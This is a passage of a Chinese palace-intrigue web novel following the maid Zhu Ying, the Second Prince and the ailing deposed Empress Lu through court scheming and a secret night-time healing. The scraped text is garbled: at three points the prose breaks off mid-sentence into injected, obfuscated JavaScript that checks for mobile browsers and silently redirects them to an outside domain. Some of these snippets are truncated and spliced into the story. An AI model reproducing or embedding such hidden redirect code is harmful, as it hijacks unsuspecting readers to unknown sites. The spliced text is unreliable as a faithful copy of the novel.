竺影低着头，一眼就看到了他手上箍出的红痕。她往后退了半步，以手加额，却没多说什么，仅道一声：“恭喜殿下。” 他笑了笑道：“恭喜我？你倒是一点也不意外。” “是。”其后的回答更是敷衍。 既不意外，也不在意。 “你倒是能耐，学着泰然处之了。”他气得咬牙切齿，好一番阴阳，甩开衣袖愤然离去。 竺影知道他生了气，没在这个时候跟上去。 二皇子从暖阁回到停雪轩，就一直把自己关在屋里，连晚膳也没能送进去。 宜夫人没辙，又不肯在此事上让步半分，只能遣竺影过去劝解他。 夜里风寒霜重，黑暗吞噬了每一个岑寂的角落，让冻风的呼号显得更凄厉，吹得竺影手里的宫灯忽明忽灭。 她停在檐下，隔窗而立，看窗纸上落下一道清隽的影。 “殿下。”她轻声唤着。 窗上的影子晃了晃，须臾屋内传来回应。 孟晓问她：“怎么在这时过来了？” 竺影如实道：“夫人让我来的。” 孟晓静默了一阵，随后说道：“往后圆滑些，别这么坦诚，就说是你自己要过来的，懂吗？” 竺影道：“懂了。是我担心殿下，所以来看看您。” 他这才满意些，许她进门：“屋外冷，进来吧。” 正门未锁，竺影推门进去，只见他孤伶伶站在寒窗前，颓然凝视窗外雪。 夜风从她身后灌入，吹开帷帐，撩得漆几上纸页上下翻动，却又在镇纸的掣肘下逃离不得。 “殿下，夜已深了。” 竺影放下宫灯，到他身侧去，温声道提醒着他该早些入眠。 他不应答，却携着她走入帷帐中去，矮榻摆在正中，榻上铺了软席，置漆几一张。几上放着新摹的字帖，墨迹早已经干透了。 “这些字帖，我替殿下收起来吧。” 她要移开漆几，为他理床榻，刚伸出手去，就被他拦下。 孟晓道：“不必。” 如此僵持着，手悬在字帖上，竺影看清了纸页上誊抄的文字，出自诗经里的《卷阿》。 “有卷者阿，飘风自南……” 直至写到那句“如圭如璋，令闻令望”*，笔墨就此停住，没再写下去，她的目光也停在此处。 明谌看着她低头的模样，问道：“好看吗？” “什么？”竺影不知他所指。 孟晓重申道：“这些字好看吗？” “嗯。”她不解其意，含糊应答一声，“殿下还在生气？” 孟晓道：“你知道我为什么生气吗？” 她摇了摇头。 他骂：“又装傻。” 竺影道：“可是殿下，我该以何种身份、何种理由去质问你？你又要以何种理由去拒绝陛下的恩赏？故而我只能道恭喜。” 听她这样说，归根结底是一样的处境，明谌遂不再问了。 “如圭如璋，令闻令望。果然是极好的名字。”他抚着白纸上端方的字迹，于帐中喃喃自言，“有的人从一出生就被父皇寄予了厚望，是旁人无论如何也奢求不来的。” 竺影听出了忮忌，明明他与三皇子相差不足一岁，明明他也生于风调雨顺的太平年，这两个字却给了他两个弟弟，孟闻和孟望。 可若说对孟闻的偏袒，竺影倒真没看出来。 帝王心术，怎么能用糊涂一言蔽之？他要权衡的除亲情以外，还有权势。 大皇子孟觉最早封王，出宫开府，可与朝臣私底下往来，早就获得了一众大臣的支持，更有梁氏与薛氏在背后，撼动不得。 二皇子外祖父居宰辅，已辅佐了三任帝王。自陆氏倒台以后，陈柯升任尚书令，陈氏一族蒸蒸日上，可谓显贵一时。 论及六皇子孟望，当朝中书令是杜修容的兄长，六皇子的舅父。杜家这些年来在民间颇有声望，算是后起之秀，假以时日待六皇子长大，或可与陈家分庭抗礼。 唯独三皇子，从前还有一个中宫嫡出的身份，而今却什么也没有，是故父子胜于君臣，他是对皇帝最没有威胁的那一个。 她自然不会在孟晓面前说这些。 “诸皇子的名字皆承希冀，私以为没什么不同。”竺影想了想，只得这样说道，“自开国以来，亲王封号 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须臾，他轻呵出一笑：“看来是我近来冷落了你，才使得你偏了心，开始替夫人说话了。” 竺影笑道：“是夫人叫我来的啊，没完成她交代的事，我怎么敢回去？” 孟晓道：“这是第几回了？每每有争执，总是叫你来开解我，劝我不要固执，好好听从她的安排。” 竺影道：“记不清了。” 他只是笑了笑，转而望着落在帷帐上的一对影子。摇曳的烛光覆在他身上，陡然生出几分落寞。撑在桌上的五指发白，那张字帖也在他的手中变得扭曲不堪。 “你分明也不喜欢她。” 竺影听他这样说着。 她平静如旧，解释说：“她是主子，我是奴仆。在别人的屋檐下，唯有如此才能活命。我并非不懂圆滑，只是在殿下面前不用如此，即使耿直些，也不用受罚。” 烛台上的火光暗了，孟晓牵起她的袖角相携至窗前，错落的窗格割碎了窗纸上的人影。 “出宫前，我会为你安排好去处。”他忽然说起，又反复叮嘱，“纵使襄王不在宫中，你仍需谨慎些。还有孟闻……他虽蠢，可也未必好应付。” 竺影说道：“殿下不是说三皇子最是仁慈，倘若事情败露，他知晓我是在诓骗他，他会杀我吗？” “不好说。”他提一把金剪子放到竺影手中，让她剪去烧黑的烛芯，好教灯火更明亮些。“眼下的他不会，难保来日不会。在这宫里待久了，人是会变的。连你也不知那些与你朝夕相对的人，何时就变成了披着人皮的禽兽。人面兽心，肉眼难辨。” 她放下剪子，见烛芯坍落在烛泪里。 在静和宫四年，她也是亲眼见着二郎从风度翩翩的少年，变成了这幅心思深沉的模样。 孟晓又道：“栖梧宫的那个人若对你有威胁，我出宫前可以帮你除掉她。” 竺影问道：“殿下说的，是谁？” “又开始装傻了啊？”他垂下眼睫，声音陡然冷了几分，“当初是你求着我，我才留她一条性命，将人藏到栖梧宫去。可玄英亲眼看到，她与襄王有往来。” “原来如此啊……”她低声喃喃。 她仅仅猜测陆芃给她倒的那杯茶有毒，却不知昔日旧友为何要害她。 原来与襄王有关。 孟晓道：“若是她能安分些，收起那些不该有的动作，倒也不必我多费心思。但使她的身份传出去，甚至无需我亲自动手……” 竺影仰起头，恳求他道：“殿下，这件事就让我自己解决吧。” “你怎么解决？” “我会找她问清楚，说不定是襄王许诺了她什么。” 孟晓道：“那就让禾玉跟着你去。” 11. 凛风鸣竹（一） 近来晴雪交替，冬日里的阳光并不暖和，又十分刺目，使人不愿出门，只想在屋里蜷着。 若非此事关系陆芃性命，竺影是不情愿在这样的天气里出远门的。 路过鸣鸾宫外时，她恰恰见三皇子着急忙慌从外廷赶回来，连步辇也顾不上坐，徒步奔回殿中。 随后又听过路的宫人议论，鸣鸾宫里的那位突然发病了，一场病来势汹汹。 陆尚书一案尚未有头绪，这些变故又将他拖住了，实在令人唏嘘。 鸣鸾宫的青砖墙下，白雪泛着淡淡的薄柿色，走近了看，又像是血色。寒冬中的血气也凝滞不去。 竺影在这里停了片刻，觉得诧异，于是问身旁的禾玉：“这里为何会有血腥味？” 禾玉告诉她，昨日夜里废后病发，皇帝责怪鸣鸾宫的宫人侍奉不周，下令杖杀了鸿嘉殿当晚值夜的所有宫人。 宫墙下只见平坦的雪道，尸身早就被处理了。 “难怪。”竺影道，“可倘若陛下真的担心那位，怎么这些天里，一次也没去过鸣鸾宫？” 禾玉提着剑，一副公事公办的样子：“我也不知晓，理这些做什么，做好你自己的事便是。” 竺影遂住了口，继而往陆芃的住处走去。 到了地方，禾玉停在不远处，没有跟着她过去，只叮嘱：“我就在门外候着，殿下吩咐了，倘若她再生出对你不利的心思，我会直接取她性命。” “好。”竺影没有反驳，独自向那扇紧闭的门走去。敲了很久都无人应答，正当竺影以为屋内没人时，那扇门如旧支开一条小缝。 屋里人此时还未梳妆，满脸疲态，披发趿鞋下床。 “你病了？”竺影问她。 “没有。”陆芃哽了一下，眼神本能地回避，“为何又来找我？” 竺影笑道：“来找你斗蛐蛐啊。” 陆芃见她手里捧着个瓷盒，张口就骂道：“你是不是受什么刺激了？大冬天的哪里有蛐蛐？” 竺影认真道：“当真有，请我进屋坐坐吧，外面很冷。” 陆芃没说话，留了门便转身回屋，竺影跟在后面，将门掩得严严实实。 陆芃顺手给竺影倒了杯茶，竺影没动，催促她去折两根草来，自己则去拿了个瓷盘倒上温水，将瓷盒置其上。揭开盖子一看，里头真有一对活生生的蛐蛐。 陆芃惊讶道：“这个时节还真有蛐蛐？你从哪里弄来的？” 竺影道：“二殿下送的。” 陆芃又换作讥讽一笑：“他从来待你不薄。” 是在陛下给二皇子与崔家女郎赐婚之后，孟晓怕竺影不开心，于是着人往她的住处送了一对蛐蛐，让她解闷逗乐。 眼下她漠然盯着笼中的一双虫儿，何其讽刺啊。 蛐蛐本是秋虫，一旦过了十月天气转寒，就寻不到踪迹了。 但民间有好斗虫者，常以温室养护，炭火供养，才使得本该在秋末冬初绝迹的虫儿活到今日，供他们消遣。 陆芃问道：“你会跟着他去齐王府吗？” 竺影道：“不会。” “也是。”陆芃抿了抿嘴，不知是奚落还是怜悯，“赐婚的事我也听说了。若是去了，怕是要与姓崔的斗一辈子。想你离了栖梧宫，另攀了高枝又怎样？到头来宜夫人还是选了崔家的女公子，让你的算盘落了空。” 竺影微微颔首，轻笑道：“不错，看来是时候寻个新的靠山了。” 陆芃拧起眉头骂道：“竺影，你就只会攀附男人吗？当初一齐离开掖庭，杜修容荐你去任女史，那时你要是答应了，说不定早就当上了女侍中，怎么都比现在强，可你偏选择了去静和宫。” “是啊，不去攀附就活不下去了。”她垂眸轻语，似在自嘲，“女史，说得好听是女官，哪怕做到头当了内司，撑死了也还是奴婢，侍奉的主子不同而已。” 陆芃道：“至少胜过那些任人处置的宫人，不是吗？这已经是你我能寻到的，最好的去处了。” 竺影道：“若我只贪图安康顺遂的后半生，当年便不会踏入宫门半步。我到这里来，不是为了换个地方苟活。” 陆芃默了一阵，没说话。 二虫鏖战，她手下的蛐蛐被打得连连后退，逃之夭夭。 竺影道：“你能不能认真些，都要输了啊。” 陆芃直接丢了草，任由手下那只虫子被追得四处逃窜，只道：“我本来就没心思和你斗虫。” 竺影也停了手，不再观盘中闹剧。盘子里的水渐冷，方才还扭打在一起的蛐蛐也蜷在瓷盒里不动了。 她突然问道：“蛐蛐本是同类，为何要互相拼咬，斗个你死我活？” 陆芃回答说：“蛐蛐在斗，是因为有人拿着草去驱使它们。” 竺影道：“而人要争，是不是也有人在幕后做推手？男子在外朝争斗，掖庭成了女子的战场，只要有人划定了一个圈，这个圈就成了笼，圈中的人同样成了斗虫。前朝如是，后宫如是，京城乃至天下都是如此。哪怕你知晓了这样的真相，却还是不得不争。不去争，就会死。” 陆芃愣愣地看着她道：“竺影，像你这样活着，会很痛苦。” 竺影道：“我能怎么办呢？我的家人还在交州，如果我没能为他们脱罪，他们只能一辈子在那瘴疠之地苦苦挣扎，在那里耗到老死、病死，永无翻身之日。就像你不会眼睁睁看着你的姑母在冷宫中等死。你知道我为何入宫来，我也知道你为何留在此处，为什么会做那些事。” 她拔下发髻上的银簪，当着陆芃的面查验杯中茶水，见银簪没有变色，她笑问道：“这次没有给我下毒了吗？” “你……原来你知道……”陆芃看着竺影，有些怔怔的。 竺影道：“那一次来找你，你让我别喝冷茶时，我便已察觉了端倪。” “那为何还要来？你明知……”她声音渐渐低落，“明知我那些害人的心思。” “可你没有。”竺影道，“我只是觉得你我不该这样斗，不管是为了什么。若你有苦衷，可以与我说。” “对不起。”陆芃低下头，仅仅吐出三字，什么解释也没有。 竺影只是轻轻一笑，且当眼前人是没有苦衷的，纯粹恨她罢了。 看着那两只不再动的蛐蛐，她盖上盖子收起瓷盒，一句道别也没留下，就起身折返庭中。 陆芃也没有起身去送她，眼见盘中水冷透了，其上单单浮着两根草。 竺影一出门，禾玉就迎了上来。 “谈完了？” “嗯。”竺影点点头，“你先回静和宫吧，我还想在外走走。” 禾玉道：“这么冷的天，别在外太久，记得早些回去。” 待她走远了，竺影才拢袖往相反的方向去，沿着化雪的宫墙，漫无目的地独行。 今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361916|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔太常携其女进宫谢恩，宜夫人兴许会留崔家女郎在宫中用饭，竺影不想在这时回去。 这是崔家女郎第二次到静和宫了，上一回仅与二皇子匆匆见过一面，只记得这人对她印象不好也不坏，冷淡了些。 只是谁也没想到一桩婚事就这样草率地定下，圣上面前的指婚如同儿戏一般。 二皇子在席间很少说话，似是对她这位未婚妻不太满意。只有宜夫人拉着她嘘寒问暖，问些家长里短，她一一回答。 因而在宫中的这场餐宴，实在算不上愉快。 不等饭菜凉透，她已放下了筷子。 宜夫人又问她：“怎么停箸了，是饭菜不合口味吗？” 崔月仪道：“没有不合口味，只是家母不知道夫人会留我用饭，故而进宫前让我在家中多吃了些，现下还吃不了太多。” 宜夫人笑道：“那就好，你难得来宫里一趟，我还担心是我这做长辈的招待不周。” 崔月仪道：“夫人和善，如待女儿般待我，我到静和宫也如归了家一样，家母知道定会开心。” 宜夫人道：“既吃好了，趁屋外晴光好，就让二郎陪你出去走走，且当是消食。” 崔月仪不动声色打量着另一人，他哪里有什么闲庭信步的心思。没等他发话，先已回绝：“不必劳烦殿下了，今日在宫中逗留太久，算算时辰，我也该归家了。” “也罢。”宜夫人笑着与孟晓道，“二郎，月仪对宫中不熟，你去送一送她。” 崔月仪看向他，听他平静应一声：“好。” 许是处于礼节和客套，他并未拒绝，却也算不上多热忱。 宜夫人朝紫裳递了一个眼神，紫裳得了示意，先去拿了伞，见屋外没有落雪，便走在前头为贵人引路。 午后的宫城安静极了，不闻喧闹，只有枝头上雪化的声音，伴着脚步声离去。 同行之人沉默了一路。 崔月仪就是在这时见到了竺影，一个抱伞独行的宫人，走在另一条覆雪的宫道上，略显匆忙。 那宫人打扮与寻常宫人没什么不同，却让她忍不住多看了几眼。 出了后宫，远远见了西华门。 这一路无人说话，还是崔家女郎先开了口：“殿下，我不常入宫来，能否让紫裳姑姑陪我在宫中走走？” 孟晓道：“无需我再相送吗？” 崔月仪道：“已经近了西华门，我只转转便回去，就不耽搁殿下的时间了。” 孟晓没再多言，待她与紫裳先行，才沿着来路返回。 崔月仪走了数丈远，不由向引路之人提及心中疑虑：“紫裳姑姑，我有些事想问问你。” 紫裳道：“女郎请讲。” 崔月仪问：“齐王殿下一直都这么沉默寡言吗？” 当着未来齐王妃的面，紫裳无法如实作答，只得说道：“殿下素来性子沉稳，喜欢独处，不喜多言。” 崔月仪道：“原来如此，我还担心他并不喜欢我。” 紫裳宽慰她道：“怎么会呢？殿下识诗书守礼义，女郎是他未来的妻子，他将来定会敬您爱您。” “承姑姑吉言了。”崔月仪轻笑一声，随手摘下只玉镯子塞到紫裳手中。 “请女郎将镯子拿回去吧。”紫裳推辞着不敢收下。 崔月仪笑道：“仅是一点心意，请姑姑收下吧。送我到这儿就好，我记得回去的路。” 12. 凛风鸣竹（二） 竺影来时见到了孟晓，见崔家女郎出宫，他一路相送。 一场宴散得还真是早，她也不得不加快脚步，在静和宫的人想起她之前奔往秘阁。 到了藏书之处，门口值守的宫人已换了一批，此时将她阻在门外。 宫人语气不善，质问她道：“你是何人？为何到此处来？” 竺影回道：“我受二皇子之托，前来取些东西。” 宫人便问她：“可有凭信？” 竺影在袖中一阵摸索，沉默了半晌，似乎没料到会是这么个结果。 那人也是秉公办事：“请回吧。没有凭证，断不可让你进去。” “能不能请祝大人……” “祝大人不在。” 得了这么个答复，竺影也犯了难，正抱着纸伞准备离开时，却见有一人迎面而来。 少年未冠，着一身墨色冬裘，绸缎在晴雪中透着蓝莹莹的光，垂袖而行，步履端方，乃是秘书丞谢临之子，谢萤。 谢萤见了竺影，似是心中了然，并未询问她什么，径直向她行了一礼道：“兰宫人久等了，请随我来。” 竺影跟在他身后问道：“祝大人不是昨日休沐吗？今日为何不在秘阁？” 谢萤领着她上楼，回道：“这几日老师在家中养病，没有进宫。秘阁值守的宫人换过一批，所以他们才认不得你，还望兰宫人不要介怀。” 竺影道：“不妨事的，幸而小谢大人此时还没下值，不然我就白跑一趟了。” 谢萤解释道：“三皇子尚在阁中，有些事未忙完，师父有病在身，故而让我留在这里协助他。” 正听他说着，窗边一个伏案的背影猛然映入竺影眼帘，让她步子都慢了几分。 竺影低下头，一路上没再说话，只祈祷着孟闻不会认出她来。 所幸那人忙于正事，纵使从他身侧走过，他也未尝抬眼。 谢萤从自己办公的书案下翻出一沓包裹得严严实实的信件，递交给竺影。 “这是祝大人让我拿给你的。” “谢谢。”她也从袖中掏出一封揣得皱皱巴巴的信，小声道，“有劳小谢大人，替我将其转交给祝大人吧。” 谢萤收好信封，又问道：“兰宫人可还有什么话要我转达？” 竺影摇了摇头，想到三皇子就在不远处，她恨不得即刻抽身退去，哪里肯多言半个字？ 谢萤捡起她遗忘的伞跟在她身后，提醒道：“莫忘了拿伞，归程或许会下雪。” 是啊，她刚离开秘阁，宫城竟又飘雪了，裹挟着她仓促逃离，越过千楼万阙。 风雪鸣廊的夜里，停雪轩小屋中燃着一盏明灯，竺影坐在灯下读信，信中写尽岭南风物，只道交州在南，冬雪不至，却忧心延都的风霜雨雪，不知她在京城过得如何。 那是一封来自交州的家书。写于九月初一，却在冬至过去许久才送达。 远在天涯海角的父母兄长不知竺影已经入宫，还以为她藏在故人家中，于是教她如何得体处事，寄人篱下讨生活。信笺短，相思却长，末尾反反复复都是那一句，“岁寒添衣，努力加餐，勿为父母忧愁。” “只问我如何，却不谈己身，那些不好的事只字不提，叫我如何不忧愁？” 竺影放下家书，揉着眉心叹息连连。 她一遍遍地将家书从头读到尾，最后在无人的夜里，就着烛火将信纸引燃，家人千里迢迢送来的只言片语转瞬化作灰烬。 每一封信都是这样处理的，她不敢留。 最后一点余烬也被风吹散了。 她困在万千广厦间，抱膝守着昏灯一盏，眼前只有影子相伴。窗外白雪飘飘悠悠，似不情愿落在这片土地上，遮去了一切，天地茫茫都不见。 半梦半醒之间，竺影察觉屋外有积雪坍落，枯枝坠地。 她揉了揉眼望向窗格外，见月光洒落一地，白雪如铺碎玉，有人自庭中向她走来，披了满身的风雪。 身后的烛火被窗外灌进的风吹得频频跳动，她的心口也跳了跳。 二皇子为何会在此时过来？ 竺影起身启门相迎，没等她开口问询，就已落入一个满是雪气的怀抱。 孟晓突然俯身拥住她，埋头在她垂落的鬓发与冬袄的绒毛间，轻阖上眼，如在此处栖息，什么话也不说。 竺影任由他倚靠着，没有动作，只问道：“殿下怎么过来了？是不是内廷出了什么事？” 换作是往常，在静和宫，在旁人面前，他们之间从未有过这样的逾礼。 竺影不知晓他的心意，你来我往间，逢场作戏更多。 “无事。” 过了一会儿，孟晓慢吞吞地说道，“不过是忙完了，顺道来看一看你。” 雪下得不大，空中零星飘着几粒，可他的冬裘上却沾满了雪。 “岂不怪我？”她玩笑似地说，“让殿下在案牍劳形时也要记挂？” 孟晓也抬起头来，即便疲惫不堪也勉强扯出些笑意，怎料见她眼角通红，笑意不达眼底。 “你怎么了？怎么哭了？”他问。 “没有。是方才剪烛芯，被烛烟迷了眼。”竺影胡乱寻了个蹩脚的由头，他也不会深究。 孟晓低头凝睇那一双眼，“鸣竹，你可会怨我？” 这样的问题他似乎问过，竺影依旧道：“不怨。” 他今日难得耿直一回，苦笑着说：“鸣竹秉性如何我最是了解，你纵有怨也不会同我说。倘若你有怨气，我向父皇请愿退了与崔家的婚事又何妨？” 竺影着急挣脱他的手，肉眼可见地慌忙，她不敢设想这样的结果，仿佛这不是许诺，是威胁，这一字一句会要了她的命。 她严肃道：“事已至此，别说这些玩笑话。” 她入宫城，到静和宫来，不是为了在他羽翼下求苟活的。 孟晓叹了口气，眼中遗憾作不得假。 “夜已深了，你早些休憩，我不过看一眼就走。”他一边说着，一边解下腰间香囊递到竺影手里，“我两日后离宫，得闲了再为我添些香料吧，如旧就好。” “好。”竺影平静应下。 他思前想后，一再叮嘱：“我留禾玉在宫中护你，若真出了什么变故，你懂得保全自己就够了。” 除此之外，他似乎没别的话可以说。 孟晓出宫那日天气并不好，竺影留在停雪轩没有去为他送行。 静和宫里又平静了，因着二皇子平静地接受了既定的路。 腊月里迟迟不回暖，鸣鸾宫那位病情又加重了，连夜叫了好几位太医前去看诊。 宫中风言风语盛行，宫人们都在猜测她是否能活过这个冬日。前朝也飘出些传闻，陛下念及旧情，似乎有意恢复她的皇后之位。若非如此，三皇子本该与二皇子一道封王。 他们提起废后，自然而然提起了她那因谋反获罪的父兄，一旦提起便要唾骂一口，骂陆氏为朝中蠹蝝*，死不足惜。 陛下怎么可以让罪臣之女为后呢？ 众说纷纭，争来争去也没个定论，谁也猜不透龙椅上那位的心思。 也有人听到些许风声，便上赶着去巴结，无一例外都被赶了出去。 宫外脚步渐行渐近，惊落枯枝的白雪，也扰了一方天地的清净。 两个内官尚未摸到鸣鸾宫的门槛，就被迎面泼来的冰水拦住了去路。 羽音端着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十多个宫人簇在阶前，皇帝不曾下华辇，隔着薄纱，深深看他一眼：“你母亲病了数日。” 睢言朝华辇的方向躬身一揖：“母亲服过药，已睡下了。” 皇帝沉目叹息，只说：“照顾好她。” 一抬手，又命宫人抬辇走了。 深冬了，光景一日不比一日好，病中的人也是。 有次陆皇后沾了床榻，便一睡几日不醒。 太医们未有对策，不敢施针，汤药也喂不进去。 孟闻接连几日不去秘阁，专日夜守在母亲病榻前。 待到夜阑人静，灯火通明时，有内官在门外通传：“殿下，外面有个宫人一直求着要见您。” “什么人？” “是个女子，不知是哪个宫的。” “让她进来。” 孟闻心有疑惑，让徴音代他守着，亲自起身前去。 内官领着一个瘦瘦小小的宫女从殿外走来，只见她浑身被冷水浇透，眼睫与发梢上结着冰晶，在灯火影中周身冒着寒气。 他刚想问是谁干的，却一旁还提着木盆的羽音。 孟闻灯火中观她，惜灯光幽暗，看不清那个宫人的模样，不知是何许人也。 羽音斥她：“大胆，见了三皇子也不行礼！” 宫人站在阶下哆哆嗦嗦，哑着嗓子唤他一声：“表兄。” 鸣鸾宫的消息传进栖梧宫里，她还是坐不住了。 13. 凛风鸣竹（三） 孟晓离宫后，竺影独居停雪轩中，久不出门。 今日晴光好，她突然兴起想出宫走走，没想到会在静和宫遇上陆芃。 说是巧遇，其实后者已在宫道上徘徊多时了，这些天她一直在等人。 竺影并没有向她走去，几乎是下意识回避，要往别处去。 她只得自己奔上前来，风吹落了风帽，露出一张消瘦面容。张了张口，却说不出话。 竺影没有等她调章遣句的耐心，偏过头冷言道：“你从不会来找我。” “我想请你救一个人。”她说。 竺影尚未能不计前嫌，此刻仍与这人置气。她沉着脸，话音也森森：“救谁？鸣鸾宫的那位吗？” 陆芃道：“太医署的人不堪用，我知道只有你能救她了。” 也是，只有遇上这样难办的差事，非要有所求时，才会想到她。 “太医都救不了的人，我怎会有办法？”竺影转身，要继续行路去了，可这人猝不及防扯着她裙摆跪下。 身后传来她的啜泣声：“此前种种皆是我对不住你，过往之事也不该怨你，我本无颜来见你。可她是我姑母，我只剩下她……我只求来你……求你能救救她。” “求我有什么用啊？你真把我当成了大慈大悲的菩萨？”竺影漠然垂下眸，却对她的声泪俱下回以讥诮。 “求死之人最是难救，你是知道的。” 一字一句问责像掷碎的玉，伴随着醒枝的眼泪落下。 她还是冷眼看着，抽出裙摆就要离开。 陆芃一步步膝行上前，抓着她的衣角，抛却所有体面去求她宽宏谅解，求她施以悲悯。 “是我错了，事到如今我只能来求你，但使你能救她，你大可以怨我、恨我，让我怎么样都行。” “唉——你还是如此，年年岁岁不饶人，不肯施舍我几天安生的日子。” 竺影无可奈何地叹息，看她低垂着头颅，双肩因哭泣而颤抖，早就不见理智了。 “你要害死我吗？陆醒枝。” 陆芃听了这话，抬起头止不住抽噎。泪水割裂了年轻的脸庞，也割裂了深宫中相互依存的两个女子。 她不聪明，只看得到和鸾宫里的人病重，看不到背后的推手。 她不知道太医署的人不是不能救，而是不敢救。 他们怕冷宫里出来的人早晚会为陆氏翻案，害怕三皇子也参与到党争里来。棋盘上突然多出一颗子，必然会有人重新站队，那么苦心经营多年的势力又要重新洗牌。 明摆着有人不愿留下废后性命，谁人敢救她？为此搭上自己的性命，多不值得？ 陆芃看着她，似下定了很大一番决心：“可我就只剩下她……哪怕是拿我这条性命去抵也成。” “真蠢啊……”竺影喃喃低语，说出这句话时，便已经是妥协了。 “我可以随你去，可有条件。” “你说。”陆芃擦去眼泪，止住了哭，只剩抽噎。 竺影道：“你不可让任何一人知晓，包括废后与三皇子。须知我的主子在静和宫，你想救她，可我也想活。所以鸣鸾宫那边你打算怎么瞒？” 陆芃道：“由我来想办法。” 竺影又道：“还有，若我没能救下她，你不可怨我。” “好。” “我先回静和宫去，取些东西，入夜后你再来找我。” “好。”陆芃频频点头，待她走后，又去了鸣鸾宫。 三皇子还在陆皇后寝宫中没走，因放心不下旁人，总是亲自守着。 陆芃出去了没多久，回来时红着眼，像是才去某处躲起来哭过。 对于这个突然冒出来的陆家女弟，他是存疑的。 孟闻听说过，她母亲病死在掖庭宫里，至于她……昔年犯下些罪过，被送进了鹿苑，没能活着回来。 皇后在冷宫听闻这个消息，痴嗔半月，大病一场，足足三月才慢慢平息。 也不知她是怎么瞒天过海，活到了现在，又好端端站在他眼前。 他只看着她，模样不曾改，性子变了许多。 “表兄。”陆芃突然唤他。 “嗯。”孟闻淡淡应着。 “姑母醒来过吗？” “没有。” “你有几日没合眼了？”陆芃问。 “无事，累了我自会去休息。” 可他眼下乌青，万般憔悴，已经连续几日未曾饱眠。 陆芃道：“你白日里要忙前朝的事，还要来这里守着，入夜也不肯休憩，以后夜里让我来守吧。” 孟闻道：“你一个人么？” 陆芃道：“徴音和羽音都在，我也在这里，至少能让你多休息一时半刻。” 榻上的人仍昏睡着，没有转醒的迹象，榻边的人已经睡意昏沉了。 “好。”他破天荒地没拒绝，摇摇晃晃地支起身，拢着两卷书往门口去。 陆芃留在房中，徴音和羽音时不时会过来，一个送餐饭，一个奉汤药。 换作是往常，后半夜不会有人前来。 陆芃一个人守在屋里，屋外有两个值夜的宫人。 冬夜寒而漫长，宫人们早已疲倦，靠在墙边打起了哈欠，忽见有个宫女提着食盒走近，即刻警觉起来。 “你是谁？来做什么？” 那宫女道：“我来给女郎君送夜食。” 宫人搜查过食盒，未找到可疑之物，还是拦她于门前：“吃食留下，你不可进去。” 她没多纠缠，只笑道：“有劳宫人了。” 宫人把食盒送到屋里，陆芃招呼着他二人：“守夜辛苦，过来喝些热汤吧？” 呼号的风穿过长廊，绞落一地的枝叶，搅得这夜也不安宁。 不多久，屋中传来倒地声。 本已经走了的宫女又折返回来，陆芃支开一条门缝放她进屋。 两个守门的宫人横七竖八躺在地上，竺影绕过他们，径直走向陆芃。 后者正忙着收拾那些加了“料”的残羹，不敢留半点痕迹。 “只这两个人守着？”竺影问。 “后半夜就这两个，再过两个时辰才有人来换值。”陆芃道。 “如此便好。” 竺影就着炭火等双手回温，随后走向病榻之侧。 榻上的病人呼吸太轻太缓，几乎察觉不出，平静得像一尊沉肃的雕像。跳动的烛火为她病容覆上一层暖黄的光，才使之看起来多一些生气。 就像竺影来时见到的那两棵棠棣树，大树移栽而不成话。 她搭上了陆皇后的手腕，按住脉门一下下数着时息，把完一只，又换另一只手。 “不应如此……”竺影看着双目紧阖的陆皇后，低声喃喃。 “怎么了？”陆芃问。 竺影想了想，还是同她道：“经络阻滞不畅，体内有淤毒，非一朝一夕之故，许是常年服药所致。还有……” 她始终凝着眉，情况似不太妙。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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本冻住的滴漏又缘冰化开始滴水，渐渐变得急促，伴着竺影离去的脚步声，隐隐有催促之意。 陆皇后醒来时，还是凌晨。夜色不肯完全褪去，天边还匀了一点薄青，透过青纱床帏，变成冷色的幽光。 皇后见榻边伏了一个人，是个女子。跽坐在冰冷的地板上，一手支额，一手垂在膝间，困在梦魇中未醒。 女子生了一副与她相似的容颜，一样的憔悴，一样地愁眉紧锁，只是比她年轻许多。 陆皇后想，也许她记得这样一张面容，也许记得……可惜辨不清今夕何夕。 她滞涩地眨着眼，一动也不敢动，生怕惊扰这梦，幻影就此消散。 直至女子迤迤然醒来，与她视线对上的一瞬，唤出一声：“姑母。” 皇后抬起手来，落到她双手掌心之间，那是一双有温度的手。 “是你啊，当真是你……今夕何夕兮，是否梦邪？”陆皇后已泪眼模糊。 陆芃道：“不是梦啊，姑母，我是芃芃啊。” 皇后又哭又笑：“他们都说我疯了，可若能见你，见阿父阿兄，纵使痴嗔又何妨？” 陆芃握住她的手，一个劲地摇头：“不是梦的，不是梦，姑母摸摸看，芃芃就在这儿，不是吗？” 她捂着心扉痛心疾首：“我好久不曾见你，我以为你……我以为你与你母亲……” 都不在人世了啊。 她眼中的泪一颗一颗落，泪眼前的人清晰了又模糊。 陆芃紧紧包裹住她的手，安抚说：“不去想这些，眼下我好端端地在这儿，不是吗？” 新本如枯木，久矣不逢春，今得见故旧，如见草木芃芃，又再萌发。 14. 凛风鸣竹（四） 日出了，有人推开门，晨光斜斜地照进屋子里来，在地上拉出一道很长的影。 先进来两个端着盥洗盆与面巾的宫人，随后是孟闻。 他一走进内室，就看见帐间坐立的人影，脚步不由慢了几分。 陆皇后本还与陆芃执手相看泪眼，闻着人声，即刻抹去脸上泪，竭力端坐着，脸上又漾开了笑。 